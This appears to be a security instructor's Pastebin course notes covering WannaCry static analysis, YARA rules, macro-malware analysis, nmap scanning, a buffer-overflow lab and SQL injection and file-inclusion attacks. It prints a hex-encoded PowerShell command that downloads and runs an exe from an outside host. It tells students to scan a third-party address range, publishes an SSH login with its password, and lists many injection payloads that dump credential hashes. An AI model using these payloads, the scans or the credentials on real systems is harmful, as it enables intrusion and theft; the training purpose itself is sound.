Advertisement
joemccray

New ECSA

Jul 29th, 2019
873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #####################################################
  2. # Offensive/Defensive Cyber (New ECSA 2019) #
  3. # By Joe McCray #
  4. #####################################################
  5.  
  6. - Here is a good set of slides for getting started with Linux:
  7. http://www.slideshare.net/olafusimichael/linux-training-24086319
  8.  
  9.  
  10. - Here is a good tutorial that you should complete before doing the labs below:
  11. http://linuxsurvival.com/linux-tutorial-introduction/
  12.  
  13.  
  14. - I prefer to use Putty to SSH into my Linux host.
  15. - You can download Putty from here:
  16. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  17.  
  18. Here is the information to put into putty
  19.  
  20. Host Name: 107.191.39.106
  21. protocol: ssh
  22. port: 22
  23. username: ecsa
  24. password: GermanyNewYork!#
  25.  
  26.  
  27.  
  28.  
  29. ---------------------------Type This-----------------------------------
  30.  
  31. mkdir static_analysis
  32.  
  33. cd static_analysis
  34.  
  35. wget http://45.63.104.73/wannacry.zip
  36.  
  37. unzip wannacry.zip
  38. infected
  39.  
  40. file wannacry.exe
  41.  
  42. mv wannacry.exe malware.pdf
  43.  
  44. file malware.pdf
  45.  
  46. mv malware.pdf wannacry.exe
  47.  
  48. hexdump -n 2 -C wannacry.exe
  49.  
  50. ----------------------------------------------------------------------
  51.  
  52.  
  53. ***What is '4d 5a' or 'MZ'***
  54. -------------------------Paste this URL into Firefox-----------------------------------
  55. http://www.garykessler.net/library/file_sigs.html
  56. ---------------------------------------------------------------------------------------
  57.  
  58.  
  59.  
  60. ---------------------------Type This-----------------------------------
  61. objdump -x wannacry.exe
  62.  
  63. strings wannacry.exe
  64.  
  65. strings wannacry.exe | grep -i dll
  66.  
  67. strings wannacry.exe | grep -i library
  68.  
  69. strings wannacry.exe | grep -i reg
  70.  
  71. strings wannacry.exe | grep -i key
  72.  
  73. strings wannacry.exe | grep -i rsa
  74.  
  75. strings wannacry.exe | grep -i open
  76.  
  77. strings wannacry.exe | grep -i get
  78.  
  79. strings wannacry.exe | grep -i mutex
  80.  
  81. strings wannacry.exe | grep -i irc
  82.  
  83. strings wannacry.exe | grep -i join
  84.  
  85. strings wannacry.exe | grep -i admin
  86.  
  87. strings wannacry.exe | grep -i list
  88. ----------------------------------------------------------------------
  89.  
  90.  
  91.  
  92.  
  93.  
  94. ---------------------------Type This-----------------------------------
  95. pe info wannacry.exe
  96. pe check wannacry.exe
  97. pe dump --section text wannacry.exe
  98. pe dump --section data wannacry.exe
  99. pe dump --section rsrc wannacry.exe
  100. pe dump --section reloc wannacry.exe
  101. strings rdata | less
  102. strings rsrc | less
  103. strings text | less
  104. ----------------------------------------------------------------------
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  114.  
  115. Quick Google search for "wannacry ransomeware analysis"
  116.  
  117.  
  118. Reference
  119. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  120.  
  121. - Yara Rule -
  122.  
  123.  
  124. Strings:
  125. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  126. $s2 = “Wanna Decryptor” wide ascii nocase
  127. $s3 = “.wcry” wide ascii nocase
  128. $s4 = “WANNACRY” wide ascii nocase
  129. $s5 = “WANACRY!” wide ascii nocase
  130. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138. Ok, let's look for the individual strings
  139.  
  140.  
  141. ---------------------------Type This-----------------------------------
  142. strings wannacry.exe | grep -i ooops
  143.  
  144. strings wannacry.exe | grep -i wanna
  145.  
  146. strings wannacry.exe | grep -i wcry
  147.  
  148. strings wannacry.exe | grep -i wannacry
  149.  
  150. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  151. ----------------------------------------------------------------------
  152.  
  153.  
  154.  
  155.  
  156.  
  157. ####################################
  158. # Tired of GREP - let's try Python #
  159. ####################################
  160. Decided to make my own script for this kind of stuff in the future. I
  161.  
  162. Reference1:
  163. http://45.63.104.73/analyse_malware.py
  164.  
  165. This is a really good script for the basics of static analysis
  166.  
  167. Reference:
  168. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  169.  
  170.  
  171. This is really good for showing some good signatures to add to the Python script
  172.  
  173.  
  174. Here is my own script using the signatures (started this yesterday, but still needs work):
  175. https://pastebin.com/guxzCBmP
  176.  
  177.  
  178.  
  179. ---------------------------Type This-----------------------------------
  180. wget https://pastebin.com/raw/guxzCBmP
  181.  
  182.  
  183. mv guxzCBmP am.py
  184.  
  185.  
  186. nano am.py
  187.  
  188. python2.7 am.py wannacry.exe
  189. ----------------------------------------------------------------------
  190.  
  191.  
  192.  
  193. ##############
  194. # Yara Ninja #
  195. ##############
  196.  
  197. Reference:
  198. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  199.  
  200. ----------------------------------------------------------------------------
  201. rule wannacry_1 : ransom
  202. {
  203. meta:
  204. author = "Joshua Cannell"
  205. description = "WannaCry Ransomware strings"
  206. weight = 100
  207. date = "2017-05-12"
  208.  
  209. strings:
  210. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  211. $s2 = "Wanna Decryptor" wide ascii nocase
  212. $s3 = ".wcry" wide ascii nocase
  213. $s4 = "WANNACRY" wide ascii nocase
  214. $s5 = "WANACRY!" wide ascii nocase
  215. $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  216.  
  217. condition:
  218. any of them
  219. }
  220.  
  221. ----------------------------------------------------------------------------
  222. rule wannacry_2{
  223. meta:
  224. author = "Harold Ogden"
  225. description = "WannaCry Ransomware Strings"
  226. date = "2017-05-12"
  227. weight = 100
  228.  
  229. strings:
  230. $string1 = "msg/m_bulgarian.wnry"
  231. $string2 = "msg/m_chinese (simplified).wnry"
  232. $string3 = "msg/m_chinese (traditional).wnry"
  233. $string4 = "msg/m_croatian.wnry"
  234. $string5 = "msg/m_czech.wnry"
  235. $string6 = "msg/m_danish.wnry"
  236. $string7 = "msg/m_dutch.wnry"
  237. $string8 = "msg/m_english.wnry"
  238. $string9 = "msg/m_filipino.wnry"
  239. $string10 = "msg/m_finnish.wnry"
  240. $string11 = "msg/m_french.wnry"
  241. $string12 = "msg/m_german.wnry"
  242. $string13 = "msg/m_greek.wnry"
  243. $string14 = "msg/m_indonesian.wnry"
  244. $string15 = "msg/m_italian.wnry"
  245. $string16 = "msg/m_japanese.wnry"
  246. $string17 = "msg/m_korean.wnry"
  247. $string18 = "msg/m_latvian.wnry"
  248. $string19 = "msg/m_norwegian.wnry"
  249. $string20 = "msg/m_polish.wnry"
  250. $string21 = "msg/m_portuguese.wnry"
  251. $string22 = "msg/m_romanian.wnry"
  252. $string23 = "msg/m_russian.wnry"
  253. $string24 = "msg/m_slovak.wnry"
  254. $string25 = "msg/m_spanish.wnry"
  255. $string26 = "msg/m_swedish.wnry"
  256. $string27 = "msg/m_turkish.wnry"
  257. $string28 = "msg/m_vietnamese.wnry"
  258.  
  259.  
  260. condition:
  261. any of ($string*)
  262. }
  263. ----------------------------------------------------------------------------
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271. #####################################################
  272. # Analyzing Macro Embedded Malware #
  273. #####################################################
  274. ---------------------------Type This-----------------------------------
  275. mkdir ~/oledump
  276.  
  277. cd ~/oledump
  278.  
  279. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  280.  
  281. unzip oledump_V0_0_22.zip
  282.  
  283. wget http://45.63.104.73/064016.zip
  284.  
  285. unzip 064016.zip
  286. infected
  287.  
  288. python oledump.py 064016.doc
  289.  
  290. python oledump.py 064016.doc -s A4 -v
  291. -----------------------------------------------------------------------
  292.  
  293.  
  294.  
  295. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  296. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  297.  
  298. ---------------------------Type This-----------------------------------
  299. python oledump.py 064016.doc -s A5 -v
  300. -----------------------------------------------------------------------
  301.  
  302. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  303.  
  304. ---------------------------Type This-----------------------------------
  305. python oledump.py 064016.doc -s A3 -v
  306.  
  307. - Look for "GVhkjbjv" and you should see:
  308.  
  309. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  310.  
  311. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  312. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  313. -----------------------------------------------------------------------
  314.  
  315.  
  316.  
  317. Step 1: Download Nmap
  318. --------------------
  319. Windows: https://nmap.org/dist/nmap-7.70-setup.exe
  320. Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
  321.  
  322. Linux:
  323. --- Fedora/CentOS/RHEL: sudo yum install -y nmap
  324. --- Ubuntu/Mint/Debian: sudo apt-get install -y nmap
  325.  
  326.  
  327.  
  328. ########################
  329. # Scanning Methodology #
  330. ########################
  331.  
  332. - Ping Sweep
  333. What's alive?
  334. ------------
  335. Note: On windows you won't need to use the word "sudo" in front of the command below:
  336.  
  337. ---------------------------On Linux or Mac OS X type This-----------------------------------
  338. sudo nmap -sP 157.166.226.*
  339.  
  340. ---------------------------or on Windows type:---------------------------------------------
  341. c:\nmap -sP 157.166.226.*
  342.  
  343. --------------------------------------------------------------------------------------------
  344.  
  345.  
  346.  
  347. -if -SP yields no results try:
  348. Note: On windows you won't need to use the word "sudo" in front of the command below:
  349. ---------------------------On Linux or Mac OS X type This-----------------------------------
  350. sudo nmap -sL 157.166.226.*
  351.  
  352. ---------------------------or on Windows type:---------------------------------------------
  353. c:\nmap -sL 157.166.226.*
  354.  
  355. ------------------------------------------------------------------------------------------
  356.  
  357.  
  358.  
  359. -Look for hostnames:
  360. Note: On windows you won't need to use the word "sudo" in front of the command below:
  361. ---------------------------On Linux or Mac OS X type This-----------------------------------
  362. sudo nmap -sL 157.166.226.* | grep com
  363.  
  364. ---------------------------or on Windows type:---------------------------------------------
  365. c:\nmap -sP 157.166.226.* | findstr "cnn"
  366.  
  367. -------------------------------------------------------------------------------------------
  368.  
  369.  
  370.  
  371. - Port Scan
  372. What's where?
  373. ------------
  374. Note: On windows you won't need to use the word "sudo" in front of the command below:
  375. ---------------------------On Linux or Mac OS X type This-----------------------------------
  376. sudo nmap -sS 162.243.126.247
  377.  
  378. ---------------------------or on Windows type:----------------------------------------------
  379. c:\nmap -sS 162.243.126.247
  380.  
  381. --------------------------------------------------------------------------------------------
  382.  
  383.  
  384.  
  385. - Bannergrab/Version Query
  386. What versions of software are running
  387. -------------------------------------
  388. Note: On windows you won't need to use the word "sudo" in front of the command below:
  389. ---------------------------On Linux or Mac OS X type This-----------------------------------
  390. sudo nmap -sV 162.243.126.247
  391.  
  392. ---------------------------or on Windows type:---------------------------------------------
  393. c:\nmap -sV 162.243.126.247
  394. -------------------------------------------------------------------------------------------
  395.  
  396.  
  397.  
  398. Let's dig into this a little bit more:
  399. -------------------------------------
  400. Note: On windows you won't need to use the word "sudo" in front of the command below:
  401. ---------------------------On Linux or Mac OS X type This-----------------------------------
  402. sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  403.  
  404. ---------------------------or on Windows type:---------------------------------------------
  405. c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  406. -------------------------------------------------------------------------------------------
  407.  
  408.  
  409.  
  410. - Vulnerability Research
  411. Lookup the banner versions for public exploits
  412. ----------------------------------------------
  413. http://exploit-db.com
  414. http://securityfocus.com/bid
  415. https://packetstormsecurity.com/files/tags/exploit/
  416.  
  417. ---------------------------------------------------------------------------------------------------------------------------------
  418.  
  419.  
  420.  
  421. Network Penetration Testing Process (known vulnerabilities)
  422. -----------------------------------------------------------
  423.  
  424.  
  425. 1. Ping Sweep:
  426. The purpose of this step is to identify live hosts
  427.  
  428. nmap -sP <ip-address/ip-range>
  429.  
  430.  
  431. 2. Port Scan
  432. Identify running services. We use the running services to map the network topology.
  433.  
  434. nmap -sS <ip-address/ip-range>
  435.  
  436.  
  437. 3. Bannergrab
  438. Identify the version of version of software running on each port
  439.  
  440. nmap -sV <ip-address/ip-range>
  441.  
  442.  
  443.  
  444. 4. Vulnerability Research
  445. Use the software version number to research and determine if it is out of date (vulnerable).
  446.  
  447. exploit-db.com/search
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457. Skill Level 1. Run the scanners
  458. -------------------------------
  459. Nexpose
  460. Qualys
  461. Retina
  462. Nessus known vulnerabilities
  463. OpenVas
  464. Foundscan
  465. GFI LanGuard
  466. NCircle
  467.  
  468.  
  469. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  470. -----------------------------------------------------------------------
  471.  
  472. windows -> systeminfo
  473. Linux-> dpkg -l
  474. rpm -qa
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481.  
  482. #####################################
  483. # Quick Stack Based Buffer Overflow #
  484. #####################################
  485.  
  486. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  487. http://45.63.104.73/ExploitLab.zip
  488.  
  489.  
  490. - Extract the ExploitLab.zip file to your Desktop
  491.  
  492. - Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
  493.  
  494.  
  495.  
  496. - Open a new command prompt and type:
  497.  
  498. ---------------------------Type This-----------------------------------
  499. nc localhost 9999
  500. --------------------------------------------------------------------------
  501.  
  502. If you don't have netcat you can download it from here:
  503. http://45.63.104.73/nc-password-is-netcat.zip
  504.  
  505. The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
  506.  
  507.  
  508. - In the new command prompt window where you ran nc type:
  509. HELP
  510.  
  511. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  512. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  513.  
  514. - Now double-click on 1-simplefuzzer.py
  515. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  516.  
  517.  
  518. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  519.  
  520. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  521.  
  522. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  523.  
  524. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  525.  
  526. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  527.  
  528. - Calculate the distance to EIP by running script 3-3000chars.py
  529. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  530.  
  531. 4-count-chars-to-EIP.py
  532. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  533. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  534.  
  535. 5-2006char-eip-check.py
  536. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  537.  
  538. 6-jmp-esp.py
  539. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  540.  
  541. 7-first-exploit
  542. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  543.  
  544. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  545.  
  546.  
  547. ------------------------------
  548.  
  549.  
  550.  
  551. Skill Level 3. Identify unknown vulnerabilities
  552. -----------------------------------------------
  553.  
  554. - App Type
  555. ------------
  556. Stand Alone Client Server Web App
  557.  
  558. ***(vulnerserver.exe)***
  559.  
  560.  
  561. - Input TYpe
  562. -------------
  563. FIle logical network port Browser
  564. Keyboard
  565. Mouse
  566.  
  567.  
  568.  
  569. ***(9999)***
  570.  
  571.  
  572. - Map & Fuzz app entry points:
  573. ------------------------------
  574. - Commands ***(commands)***
  575. - Methods
  576. - Verbs
  577. - functions
  578. - subroutines
  579. - controllers
  580.  
  581.  
  582. - Isolate the crash
  583. -------------------
  584. App seems to reliably crash at TRUN 2100
  585.  
  586.  
  587. - Calculate the distance to EIP
  588. -------------------------------
  589. Distance to EIP is 2006
  590.  
  591. We found that EIP was populated with the value: 396F4338
  592. 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
  593.  
  594. An online tool that we can use for this is:
  595. https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  596.  
  597.  
  598.  
  599. - Redirect Program Execution
  600. ----------------------------
  601. A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
  602. We learned that we control EAX and ESP in script 2.
  603.  
  604.  
  605.  
  606.  
  607.  
  608. - Implement Shellcode
  609. ---------------------
  610. There are only 2 things that can go wrong with shellcode:
  611. - Not enough space
  612. - Bad characters
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619. #########################################
  620. # FreeFloat FTP Server Exploit Analysis #
  621. #########################################
  622.  
  623.  
  624.  
  625. Analyze the following exploit code:
  626. https://www.exploit-db.com/exploits/15689/
  627.  
  628. 1. What is the target platform that this exploit works against?
  629. 2. What is the variable name for the distance to EIP?
  630. 3. What is the actual distance to EIP in bytes?
  631. 4. Describe what is happening in the variable ‘junk2’
  632.  
  633.  
  634.  
  635.  
  636. Analysis of the training walk-through based on EID: 15689:
  637. http://45.63.104.73/ff.zip
  638.  
  639.  
  640.  
  641.  
  642. ff1.py
  643. 1. What does the sys module do?
  644. 2. What is sys.argv[1] and sys.argv[2]?
  645. 3. What application entry point is being attacked in this script?
  646.  
  647.  
  648.  
  649. ff2.py
  650. 1. Explain what is happening in lines 18 - 20 doing.
  651. 2. What is pattern_create.rb doing and where can I find it?
  652. 3. Why can’t I just double click the file to run this script?
  653.  
  654.  
  655.  
  656. ff3.py
  657. 1. Explain what is happening in lines 17 - to 25?
  658. 2. Explain what is happening in lines 30 - to 32?
  659. 3. Why is everything below line 35 commented out?
  660.  
  661.  
  662.  
  663. ff4.py
  664. 1. Explain what is happening in lines 13 to 15.
  665. 2. Explain what is happening in line 19.
  666. 3. What is the total length of buff?
  667.  
  668.  
  669.  
  670. ff5.py
  671. 1. Explain what is happening in line 15.
  672. 2. What is struct.pack?
  673. 3. How big is the shellcode in this script?
  674.  
  675.  
  676.  
  677. ff6.py
  678. 1. What is the distance to EIP?
  679. 2. How big is the shellcode in this script?
  680. 3. What is the total byte length of the data being sent to this app?
  681.  
  682.  
  683.  
  684.  
  685. ff7.py
  686. 1. What is a tuple in python?
  687. 2. How big is the shellcode in this script?
  688. 3. Did your app crash in from this script?
  689.  
  690.  
  691.  
  692.  
  693. ff8.py
  694. 1. How big is the shellcode in this script?
  695. 2. What is try/except in python?
  696. 3. What is socket.SOCK_STREAM in Python?
  697.  
  698.  
  699.  
  700. ff9.py
  701. 1. What is going on in lines 19 and 20?
  702. 2. What is the length of the NOPs?
  703. 3. From what DLL did the address of the JMP ESP come from?
  704.  
  705.  
  706.  
  707.  
  708. ff010.py
  709. 1. What is going on in lines 18 - 20?
  710. 2. What is going on in lines 29 - 32?
  711. 3. How would a stack adjustment help this script?
  712.  
  713. ##################################
  714. # Basic: Web Application Testing #
  715. ##################################
  716.  
  717. Most people are going to tell you reference the OWASP Testing guide.
  718. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  719.  
  720. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  721.  
  722.  
  723. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  724.  
  725. 1. Does the website talk to a DB?
  726. - Look for parameter passing (ex: site.com/page.php?id=4)
  727. - If yes - try SQL Injection
  728.  
  729. 2. Can I or someone else see what I type?
  730. - If yes - try XSS
  731.  
  732. 3. Does the page reference a file?
  733. - If yes - try LFI/RFI
  734.  
  735. Let's start with some manual testing against 45.63.104.73
  736.  
  737.  
  738. #######################
  739. # Attacking PHP/MySQL #
  740. #######################
  741.  
  742. Go to LAMP Target homepage
  743. http://45.63.104.73/
  744.  
  745.  
  746.  
  747. Clicking on the Acer Link:
  748. http://45.63.104.73/acre2.php?lap=acer
  749.  
  750. - Found parameter passing (answer yes to question 1)
  751. - Insert ' to test for SQLI
  752.  
  753. ---------------------------Type This-----------------------------------
  754.  
  755. http://45.63.104.73/acre2.php?lap=acer'
  756.  
  757. -----------------------------------------------------------------------
  758.  
  759. Page returns the following error:
  760. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  761.  
  762.  
  763.  
  764. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  765. We do this using the ORDER BY
  766.  
  767. ---------------------------Type This-----------------------------------
  768.  
  769. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  770. -----------------------------------------------------------------------
  771.  
  772. Page returns the following error:
  773. Unknown column '100' in 'order clause'
  774.  
  775.  
  776. ---------------------------Type This-----------------------------------
  777.  
  778. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  779. -----------------------------------------------------------------------
  780.  
  781. Page returns the following error:
  782. Unknown column '50' in 'order clause'
  783.  
  784.  
  785. ---------------------------Type This-----------------------------------
  786.  
  787. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  788. -----------------------------------------------------------------------
  789.  
  790. Page returns the following error:
  791. Unknown column '25' in 'order clause'
  792.  
  793.  
  794. ---------------------------Type This-----------------------------------
  795.  
  796. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  797. -----------------------------------------------------------------------
  798.  
  799. Page returns the following error:
  800. Unknown column '12' in 'order clause'
  801.  
  802.  
  803. ---------------------------Type This-----------------------------------
  804.  
  805. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  806. -----------------------------------------------------------------------
  807.  
  808. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  809.  
  810.  
  811.  
  812. Now we build out the union all select statement with the correct number of columns
  813.  
  814. Reference:
  815. http://www.techonthenet.com/sql/union.php
  816.  
  817.  
  818. ---------------------------Type This-----------------------------------
  819.  
  820. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  821. -----------------------------------------------------------------------
  822.  
  823.  
  824.  
  825. Now we negate the parameter value 'acer' by turning into the word 'null':
  826. ---------------------------Type This-----------------------------------
  827.  
  828. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  829. -----------------------------------------------------------------------
  830.  
  831. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  832.  
  833.  
  834. Use a cheat sheet for syntax:
  835. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  836.  
  837. ---------------------------Type This-----------------------------------
  838.  
  839. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  840.  
  841. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  842.  
  843. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  844.  
  845. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  846.  
  847.  
  848. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  849.  
  850. -----------------------------------------------------------------------
  851.  
  852.  
  853.  
  854. ########################
  855. # Question I get a lot #
  856. ########################
  857. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  858.  
  859. Here is a good reference for it:
  860. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  861.  
  862. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  863.  
  864.  
  865.  
  866.  
  867. #########################
  868. # File Handling Attacks #
  869. #########################
  870.  
  871. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  872.  
  873. ---------------------------Type This-----------------------------------
  874.  
  875. http://45.63.104.73/showfile.php?filename=about.txt
  876.  
  877. -----------------------------------------------------------------------
  878.  
  879.  
  880. See if you can read files on the file system:
  881. ---------------------------Type This-----------------------------------
  882.  
  883. http://45.63.104.73/showfile.php?filename=/etc/passwd
  884. -----------------------------------------------------------------------
  885.  
  886. We call this attack a Local File Include or LFI.
  887.  
  888. Now let's find some text out on the internet somewhere:
  889. https://www.gnu.org/software/hello/manual/hello.txt
  890.  
  891.  
  892. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  893.  
  894. ---------------------------Type This-----------------------------------
  895.  
  896. http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
  897. -----------------------------------------------------------------------
  898.  
  899. #########################################################################################
  900. # SQL Injection #
  901. # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
  902. #########################################################################################
  903.  
  904.  
  905. - Another quick way to test for SQLI is to remove the paramter value
  906.  
  907.  
  908. #############################
  909. # Error-Based SQL Injection #
  910. #############################
  911. ---------------------------Type This-----------------------------------
  912.  
  913. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  914. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  915. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  916. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  917. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  918. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  919. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  920. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  921. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  922.  
  923. -----------------------------------------------------------------------
  924.  
  925.  
  926.  
  927. #############################
  928. # Union-Based SQL Injection #
  929. #############################
  930.  
  931. ---------------------------Type This-----------------------------------
  932.  
  933. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  934. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  935. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  936. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  937. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  938. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  939. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  940. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  941. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  942. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  943. -----------------------------------------------------------------------
  944.  
  945. We are using a union select statement because we are joining the developer's query with one of our own.
  946. Reference:
  947. http://www.techonthenet.com/sql/union.php
  948. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  949. It removes duplicate rows between the various SELECT statements.
  950.  
  951. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  952.  
  953. ---------------------------Type This-----------------------------------
  954.  
  955. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  956. -----------------------------------------------------------------------
  957.  
  958. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  959.  
  960. ---------------------------Type This-----------------------------------
  961.  
  962. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  963. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  964. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  965. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  966.  
  967. -----------------------------------------------------------------------
  968.  
  969.  
  970.  
  971.  
  972. - Another way is to see if you can get the backend to perform an arithmetic function
  973.  
  974. ---------------------------Type This-----------------------------------
  975.  
  976. http://45.77.162.239/bookdetail.aspx?id=(2)
  977. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  978. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  979.  
  980.  
  981.  
  982. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
